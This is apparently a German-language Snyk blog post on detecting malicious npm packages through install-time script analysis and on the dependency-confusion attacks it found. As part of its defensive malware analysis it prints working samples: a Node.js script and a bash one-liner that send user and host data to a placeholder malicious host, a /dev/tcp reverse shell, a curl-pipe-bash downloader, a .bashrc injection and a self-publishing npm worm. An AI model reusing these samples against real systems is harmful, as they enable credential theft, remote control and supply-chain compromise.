Snyk identifiziert über 200 npm-Schadpakete, Angriffe über Cobalt Strike und Dependency Confusion
24. Mai 2022
0 Min. LesezeitWir stellten kürzlich fest, dass die npm-Registry über 200 Schadpakete enthält. News zu Schwachstellen sind quasi täglich Teil der Schlagzeilen in der Entwickler-Community, doch hierbei handelt es sich um keinen banalen Fall von Typosquatting oder einfach nur irgendein Schadpaket. In unserem Artikel gehen wir vielmehr auf die Ergebnisse von gezielten Angriffen auf Unternehmen ein, die Snyk identifizieren und dokumentieren konnte.
Statt detailliert Dependency Confusion an sich und seine Auswirkungen auf das JavaScript-Ökosystem (insbesondere die npm-Registry) zu behandeln, konzentrieren wir uns auf unsere exakte Methodik und die kürzlich von uns entdeckten Schadpakete. Eine Einführung in Dependency Confusion und die damit zusammenhängenden Risiken finden Sie in Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies von Alex Birsan und unserer eigenen Dokumentation eines gezielten Dependency-Confusion-Angriffs mit einer interessanten Wendung.
Außerdem sprechen wir darüber, wie Teilnehmer an Bug-Bounty-Programmen und Red Teams zu einem einigermaßen überschwemmten npm-Ökosystem beitragen. Dies in Form von falschen Security-Berichten und mit der Konsequenz einer noch problematischeren Gemengelage als vor dem wiederholten Auftreten von Dependency-Confusion-Angriffsvektoren.
Besonderes Augenmerk vieler Unternehmen in der jüngeren Vergangenheit galt speziell der Sicherheit der Software-Lieferkette. Die Erkennung von Schadpaketen bildet hier eine wichtige Säule. npm, so sind wir sicher, kam dabei die größte Aufmerksamkeit zu. Intern haben wir uns immer wieder eingehend zu npm ausgetauscht. Eine zentrale Frage dabei: Sind wir in der Lage, einen besseren Beitrag zu leisten als andere Anbieter, die regelmäßig Informationen zu Schadpaketen mit geringem Schweregrad veröffentlichen? Einen Versuch war es uns auf jeden Fall wert, und so haben wir uns testweise mit einem niederschwelligen Ansatz an das Thema gewagt, mit dem wir möglichst viele Schadpakete identifizieren wollten. Nach einigen Upgrades und umfassendem Finetuning für unsere Methodik hatten wir schließlich Schadpaket Nr. 100 zur Snyk Schwachstellen-Datenbank hinzugefügt. Die Zeit war reif, öffentlich von unserer Methodik zu berichten. Nun möchten wir erläutern, wie sich ein Schadpaket in einer Registry wie der von npm aufspüren lässt.
Identifikation von Schadpaketen in der npm-Registry
Zunächst galt es, Testbereich und -ziele unseres Tests zu definieren:
Beschränkung des Tests auf installationsbezogene Schritte. Unser Testbereich umfasste also ausschließlich die Abläufe im Zuge von
npm install
. Schadscripts in der Runtime waren nicht Bestandteil und werden zukünftig separat dokumentiert.Beherrschbare Anzahl falsch-positiver Signale. Unsere Definition: Alle entsprechenden Hinweise sollten durch einen Security Analyst innerhalb von maximal einer Stunde adressierbar sein.
Modularer Collector. Der Collector hatte bereits mehrere Entwicklungsschritte durchlaufen und erhält nach wie vor Upgrades. Einige Erkennungsmechanismen wurden zur Optimierung von Punkt 2 hinzugefügt bzw. entfernt.
Zunächst entschieden wir uns für ausschließlich statische Analysen. Den dynamischen Aspekt besprechen wir dann in einem künftigen Artikel.
Wichtig ist auch unsere Definition für Schadverhalten. Hierunter verstehen wir etwa das Öffnen einer Reverse Shell oder die Änderung von Dateien außerhalb des Projektordners.
Auch wenn ein Paket versucht, personenbezogene Informationen auszuschleusen (bzw. Inhalte, die solche Informationen enthalten können), ist dies als Schadverhalten einzustufen. Einige Beispiele:
Ein Paket übermittelt Geräte-GUID = Nicht schädlich – GUIDs enthalten keine persönlichen Daten und werden oft zur Quantifizierung der eindeutigen Paketinstallationen genutzt.
Ein Paket übermittelt den Pfad des Anwendungsordners = Schädlich – Der Anwendungsordner enthält typischerweise den Benutzernamen. Bestandteil dessen wiederum könnten Vor- und Nachname des Benutzers sein.
Die Struktur des zugrunde liegenden Systems besteht aus diesen Elementen:
Scraping-Logik zum Abrufen von Informationen über neu hinzugefügte und geänderte Pakete
Tagging-Logik zur Bereitstellung hilfreicher Metadaten für Security Analysts
Sortierlogik zur Priorisierung von Hinweisen auf Schadpakete nach Maßgabe des vorhergehenden Schritts
Das Collector-System gibt YAML-Dateien aus (als Datenpunkte für Hinweise), die dann von einem Security Analyst in drei mögliche Kategorien unterteilt werden.
Gut – Pakete ohne Verdachtsfall. Sie dienen als Beispiel für nicht schädliches Verhalten.
Schlecht – Schädliche Pakete.
Ignorieren – Pakete, die wahrscheinlich schädlich sind, bei denen das Verhalten im Installationsverlauf aber zu allgemein oder zu komplex ist, als dass es sich als Muster für künftige Fälle heranziehen lassen könnte.
Prüfung der npm-Registry zur Erfassung von Paketinformationen
Gemäß unserer ersten Anforderung sind alle neuen und aktualisierten Pakete in den Test aufzunehmen, die über die install-time Scripts preinstall
, install
oder postinstall
verfügen.
Als Datenbank nutzt die npm-Registry CouchDB. Zur allgemeinen Nutzung wird CouchDB nahtlos über replicate.npmjs.com
zugreifbar. Die Datenerfassung ist daher ganz einfach durch Abfrage des Endpunkts \_changes in aufsteigender Reihenfolge möglich, und zwar wie folgt:
1https://replicate.npmjs.com/_changes?limit=100&descending=false&since=<here is last event ID from the previous run>
Mit dieser Abfrage erhalten wir über die Event-ID aus der vorhergehenden Collector-Ausführung eine Liste aktualisierter und erstellter Pakete.
Weiter nutzen wir die Endpunkte https://registry.npmjs.org/
zum Abrufen der Metadaten jedes Pakets aus der Liste und https://api.npmjs.org/downloads
für die Anzahl der Downloads eines Pakets.
Dabei gibt es nur einen etwas komplexeren Aspekt: Wir möchten die install-time Scripts aus dem Paket-Tarball extrahieren. Bei einem npm-Paket ist dieser im Schnitt weniger als 1 MB groß, kann in Einzelfällen aber auch mehrere hundert MB aufweisen. Glücklicherweise können wir dank der Struktur von Tar-Archiven mit einer Streaming-Methodik agieren. Wir laden also einfach das Paket-Archiv bis zu dem Zeitpunkt herunter, an dem wir die gewünschte Datei haben, und trennen dann die Verbindung. So sparen wir viel Zeit und Netzwerk-Traffic. Dafür nutzen wir das npm-Paket tar-stream. An dieser Stelle ein großes Dankeschön an Mathias Buus, der fantastische Dev-Beiträge im Bereich JavaScript und Node.js geleistet hat und als Maintainer vieler npm-Open-Source-Pakete agiert, die Entwicklern jeden Tag aufs Neue hervorragende Dienste leisten.
Tagging von Schadpaketen in der npm-Registry
Nun liegen uns alle Paket-Metadaten vor: Versionshistorie, Name des Maintainers, Inhalt des install-time Scripts, Abhängigkeiten etc. Wir können also mit dem Anwenden von Regeln beginnen. Im Folgenden einige, die sich unserer persönlichen Erfahrung nach als am effektivsten erwiesen haben:
bigVersion
– Im Falle einer Paket-Hauptversion, die größer oder gleich 90 ist. Bei einem Dependency-Confusion-Angriff weist ein Download-Schadpaket typischerweise eine höhere Version auf als das Original. Wie wir später sehen werden, ist 99.99.99 ein gutes Beispiel.bigVersion
– Falls ein Paket zum ersten Mal im Jahr aktualisiert wird. Dies ist auch ein wichtiges Signal, um zu prüfen, ob ein Paket seit längerer Zeit nicht mehr aktualisiert und dann durch einen Angreifer kompromittiert wurde.noGHTagLastVersion
– Prüfung, ob die neue Version eines Pakets über keinen Tag in einem GitHub-Repository verfügt (obwohl dies bei einer Vorgängerversion der Fall gewesen war). Dies funktioniert in Fällen, in denen zwar ein npm-Benutzer kompromittiert wurde, aber kein GitHub-Benutzer.isSuspiciousFile
– Mehrere reguläre Ausdrücke, um potenzielle install-time Schadscripts aufzuspüren. So können gängige Verschleierungsmethoden wiecanarytokens.com
,ngrok.io
oder die Angabe von IP-Adressen identifiziert werden.isSuspiciousFile
– Mehrere reguläre Ausdrücke, um potenzielle Schadscripts in .json-Paketen aufzuspüren. So wird“postinstall: “node .”
häufig in Schadpaketen verwendet.
Das zugrunde liegende System hat zusätzliche Tags implementiert, doch die oben angeführten Methoden verschaffen uns einen guten Überblick zur Collector-Logik.
Einordnung der Daten aus npm-Paketen
Statt manuellen Reviews möchten wir den Prozess an dieser Stelle weiter automatisieren. Wurde ein install-time Script bereits in der Vergangenheit als „gut“ oder „schlecht“ klassifiziert, wenden wir diese Kategorisierung auch automatisch auf alle neu auftretenden Fälle an. Probat ist dies vor allem für Fälle ohne Schadverhalten wie “postinstall”: “webpack”
oder “postinstall”: “echo thanks for using please donate”
, und es reduziert das Rauschen.
Außerdem priorisieren wir das Handling bestimmter Tags vor anderen, weil wir so mehr korrekte Signale erhalten. So bekommen isSuspiciousFile
und isSuspiciousScript
die höchste Prioritätsstufe zugewiesen.
Manuelle Sicherheitsanalyse
Als letzten Schritt bei der Identifikation nutzen wir die manuelle Analyse, die sich über mehrere Phasen erstreckt:
Zuerst steht die Validierung der automatisch gruppierten Hinweise mit hohem Schweregrad an. Sie deuten höchstwahrscheinlich auf Schadpakete hin. Nun müssen wir die noch nicht sortierten Hinweise manuell prüfen, um neue Muster für Fälle mit und ohne schädlichen Hintergrund zu bestimmen.
Jetzt aktualisieren wir die Collector-Logik anhand des vorangegangen Punkts.
An dieser Stelle registrieren wir die Schadpakete in der Snyk Schwachstellen-Datenbank.
Hat ein Paket eine ungewöhnliche Schadlogik, kommt eine ausführlichere manuelle Analyse zum Einsatz. Dies ist zum Beispiel bei gxm-reference-web-auth-server der Fall. Unsere Ergebnisse teilen wir dann mit der Community und unseren Nutzern.
Mit diesem Workflow können wir den Collector jeden Tag ein Stück weit verbessern und den Gesamtablauf sukzessive automatisieren.
Welche npm-Schadpakete konnten wir identifizieren?
Stand heute hat dieses System bereits validiert korrekte Ergebnisse für mehr als 200 npm-Pakete geliefert, die zudem auch als mögliche Angriffsvektoren für Dependency-Confusion-Angriffe fungieren. Diese Resultate möchten wir weiter kategorisieren und verschiedene Methoden und Konzepte dokumentieren, die bereits von Angreifern angewendet wurden.
Ausschleusung von Daten über Schadpakete
Bei einem der gängigsten Schadpakete werden Daten über HTTP- oder DNS-Abfragen ausgeschleust. Häufig wird dabei einfach eine modifizierte Copy+Paste-Version des in diesem Dependency-Confusion-Berichts erwähnten Original-Scripts verwendet. In einigen Fällen finden sich Hinweise und Kommentare im Paket, die suggerieren sollen, dass es Analysezwecken dient oder keine sensiblen Daten abgerufen werden. Dem Braten sollte man aber unter keinen Umständen trauen: Personenbezogene Daten werden definitiv ausgelesen und über das Netzwerk verschickt. Ein absolutes No-Go.
Ein typisches in dieser Weise modifiziertes Paket, auf das wir im Rahmen unserer Recherche gestoßen sind:
1const os = require("os");
2const dns = require("dns");
3const querystring = require("querystring");
4const https = require("https");
5const packageJSON = require("./package.json");
6const package = packageJSON.name;
7
8const trackingData = JSON.stringify({
9 p: package,
10 c: __dirname,
11 hd: os.homedir(),
12 hn: os.hostname(),
13 un: os.userInfo().username,
14 dns: dns.getServers(),
15 r: packageJSON ? packageJSON.___resolved : undefined,
16 v: packageJSON.version,
17 pjson: packageJSON,
18});
19
20var postData = querystring.stringify({
21 msg: trackingData,
22});
23
24var options = {
25 hostname: "<malicious host>",
26 port: 443,
27 path: "/",
28 method: "POST",
29 headers: {
30 "Content-Type": "application/x-www-form-urlencoded",
31 "Content-Length": postData.length,
32 },
33};
34
35var req = https.request(options, (res) => {
36 res.on("data", (d) => {
37 process.stdout.write(d);
38 });
39});
40
41req.on("error", (e) => {
42 // console.error(e);
43});
44
45req.write(postData);
46req.end();
Beobachtet haben wir in diesem Zusammenhang Abgreifversuche für diese Arten von Informationen (in ihrem Schadverhalten aufgelistet von relativ harmlos bis zu sehr gefährlich):
Benutzername
Pfad des Start-Verzeichnisses
Pfad des Anwendungsverzeichnisses
Liste der Dateien an unterschiedlichen Speicherorten wie etwa im Start- oder Anwendungsverzeichnis
Ergebnis des
ifconfig
SystembefehlsAnwendungsdatei
package.json
Umgebungsvariablen
.npmrc
Datei
Eine interessante Erweiterung sind zudem Schadpakete mit install
Script, die eine Sequenz wie die folgende aufweisen: npm install http://
<malicious host>
/tastytreats-1.0.0.tgz?yy=npm get cache
. Sie greift eindeutig Informationen aus dem Cache-Pfad für das npm-Verzeichnis ab (dieser befindet sich meist im Verzeichnis-Ordner des aktuellen Benutzers). Zusätzlich wird dabei noch ein Paket aus einer externen Quelle installiert. Dabei handelt es sich unserer Erfahrung nach immer um ein Dummy-Paket ohne jedwede spezifische Logik oder Dateien. Womöglich sind aber serverseitig regionale oder anderweitige Konditionen definiert oder aus dem Paket wird nach einem bestimmten Zeitraum ein Crypto-Miner oder Trojaner.
In einigen Fällen waren Bash-Scripts nachzuweisen, beispielsweise:
1DETAILS="$(echo -e $(curl -s ipinfo.io/)\\n$(hostname)\\n$(whoami)\\n$(hostname -i) | base64 -w 0)"
2curl "https://<malicious host>/?q=$DETAILS"
Mit diesem Script werden öffentliche IP-Adressdetails, Host- und Benutzername ausgeschleust.
Erzeugung von Reverse Shells durch Schadpakete
Ein weitere gängige Methodik, die wir bei Schadpaketen beobachten konnten, war die Erzeugung einer Reverse Shell. Das betroffene Gerät verbindet sich dabei ungewollt mit einem dem Angreifer gehörenden Remote-Server. Über diese Verbindung kann er nun Kontrolle über das Gerät ausüben. Ausgelöst werden kann dies recht kompakt, zum Beispiel mit diesem Code:
1/bin/bash -l > /dev/tcp/<malicious IP>/443 0<&1 2>&1;
Komplexere Implementierungen sind möglich über net.Socket
oder andere Verbindungen.
Die größte Herausforderung besteht dabei darin, sich nicht von der augenscheinlich einfachen Logik hinters Licht führen zu lassen: Der Auslöser für das eigentliche Schadpotenzial ist serverseitig bestens versteckt und kann dann ungehindert genutzt werden. Das wird dann allerdings recht schnell offensichtlich: Der Angreifer kann für das Gerät, auf dem das Schadpaket installiert ist, letztlich komplett die Kontrolle übernehmen.
Das wollten wir uns genauer ansehen und installierten so eines dieser Pakete in einer Sandbox-Umgebung. Nun konnten wir beobachten, wie die folgenden Befehle ausgeführt wurden:
nohup curl -A O -o- -L http://
<malicious IP>
/dx-log-analyser-Linux | bash -s &> /tmp/log.out&
– Ein Script wurde vom Schadserver heruntergeladen und ausgeführt.Das vom Schadserver heruntergeladene Script legte sich im
/tmp
Verzeichnis ab und begann, sich selbst alle 10 Sekunden abzufragen. Dabei wartete es auf Updates seitens des Angreifers.Nach einem gewissen Zeitraum lud es schließlich eine Binärdatei herunter – laut VirusTotal einen Cobalt-Strike-Trojaner.
Nutzung von Trojanern in npm-Schadpaketen
In dieser Kategorie finden wir nun diverse Pakete, die verschiedenste Befehls- und Kontroll-Agents ausführen. Ein Deep Dive in weitere Details würde den thematischen Rahmen dieses Beitrags sprengen. Relevante Zusammenhänge behandeln wir dagegen in unserem Artikel zu Reverse Engineering mit dem Paket gxm-reference-web-auth-server package. Dort gehen wir zwar speziell auf die ethisch unbedenkliche Arbeit von Red Teams ein. Dennoch ist auch dieser Fall ein hervorragendes Beispiel, was sich in npm-Paketen in dieser Kategorie bösartiger Dependency-Confusion-Angriffe verbergen kann. Und obendrein ein spannender Bericht von der Arbeit eines tollen Red Teams.
In einem anderen Fall haben wir uns Sandbox-Systemabrufe angesehen. Uns fiel einer ganz besonders auf: Er löste einen separaten Prozess aus und führte den Wait Call 30 Minuten lang aus. Erst dann löste er das Schadverhalten aus.
npm-Pakete: Von Streichen und Protesten
Im März hatten wir von Protestware in npm-Paketen berichtet. Neben eigentlichen Protestware-Themen waren aber auch diverse Versuche zu beobachten, YouTube- oder für das Arbeitsumfeld der Leidtragenden wenig adäquate Inhalte im Browser zu öffnen – oder sogar einen Befehl in der .bashrc
Datei hinzuzufügen.
Auslösen lassen kann sich das teils ganz einfach mit folgendem Befehl in einer install-time JavaScript-Datei: open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)
<xxx>
im <xxx>postinstall Script oder shell.exec(echo '\\nopen https://
<NSFW website>
' >> ~/.bashrc)
.
Ein weiteres potenzielles Schadpaket, auf das wir im Rahmen unserer Recherche gestoßen sind, prüft auf das Vorhandensein einer.npmrc
Datei. Stößt es auf eine, führt es npm publish
aus und erstellt seine eigene Kopie im Namen des aktuellen npm-Nutzers. Ganz wie ein Wurm also. In bestimmten Fällen kann so eine sehr reale Bedrohung entstehen.
1const fs = require('fs')
2const faker = require('faker')
3const child_process = require('child_process')
4const pkgName = faker.helpers.slugify(faker.animal.dog() + ' ' +
5faker.company.bsNoun()).toLowerCase()
6let hasNpmRc = false
7const read = (p) => {
8 return fs.readFileSync(p).toString()
9}
10try {
11 const npmrcFile = read(process.env.HOME + '/.npmrc')
12 hasNpmRc = true
13} catch(err) {
14}
15if (hasNpmRc) {
16 console.log('Publishing new version of myself')
17 console.log('My new name', pkgName)
18 const pkgPath = __dirname + '/package.json'
19 const pkgJSON = JSON.parse(read(pkgPath))
20 pkgJSON.name = pkgName
21 fs.writeFileSync(pkgPath, JSON.stringify(pkgJSON, null, 2))
22 child_process.exec('npm publish')
23 console.log('DONE')
24}
Abschließende Empfehlungen
Eines unserer wichtigsten Ziele bei Snyk ist es, Open-Source-Systeme jeden Tag ein Stück weit sicherer zu machen. Einen kleinen Beitrag hat diese Liste mit npm-Schadpaketen sicher auch leisten können, umfassend oder gar vollständig ist sie aber natürlich keineswegs. Wie aus unserer Analyse hervorgeht, wird das npm-Ökosystem aktiv dazu verwendet, diverse Angriffe auf die zugehörige Software-Lieferkette durchzuführen. Technologien wie die von Snyk helfen sowohl Entwicklern als auch Maintainern, ihre Anwendungen und Projekte sowie sich selbst zu schützen.
Bug-Bounty- und Red-Team-Teilnehmer, die ein npm-Paket im Rahmen ihrer investigativen Prüfungen und Analysen veröffentlichen müssen, sollten stets die Nutzungsbedingungen und rechtlichen Vorgaben im Zusammenhang mit npm beachten. Schleusen Sie auch bitte unter keinen Umständen personenbezogene Informationen aus und definieren Sie explizit den Zweck Ihres Pakets entweder über Kommentare im Quellcode oder die Paketbeschreibung. Im Rahmen unserer Analyse stießen wir auch auf einige ethisch unbedenkliche, legitime Analysepakete, die eindeutige Geräte-Identifier wie node-machine-id abriefen und weiter übertrugen.
Capture the Flag: Der Snyk Workshop
In unserem On-Demand Workshop erfahren Sie, wie Sie Capture the Flag Challenges erfolgreich abschließen.
Betroffene Pakete Stand heute: Zusammenfassung
Im Folgenden eine Zusammenfassung der Pakete, auf die wir bei unserer Analyse gestoßen sind. Einige davon, vielleicht sogar die meisten, wurden inzwischen wieder aus der npm-Registry gelöscht, andere wiederum waren zum Zeitpunkt der Veröffentlichung dieses Artikels nach wie vor vorhanden:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|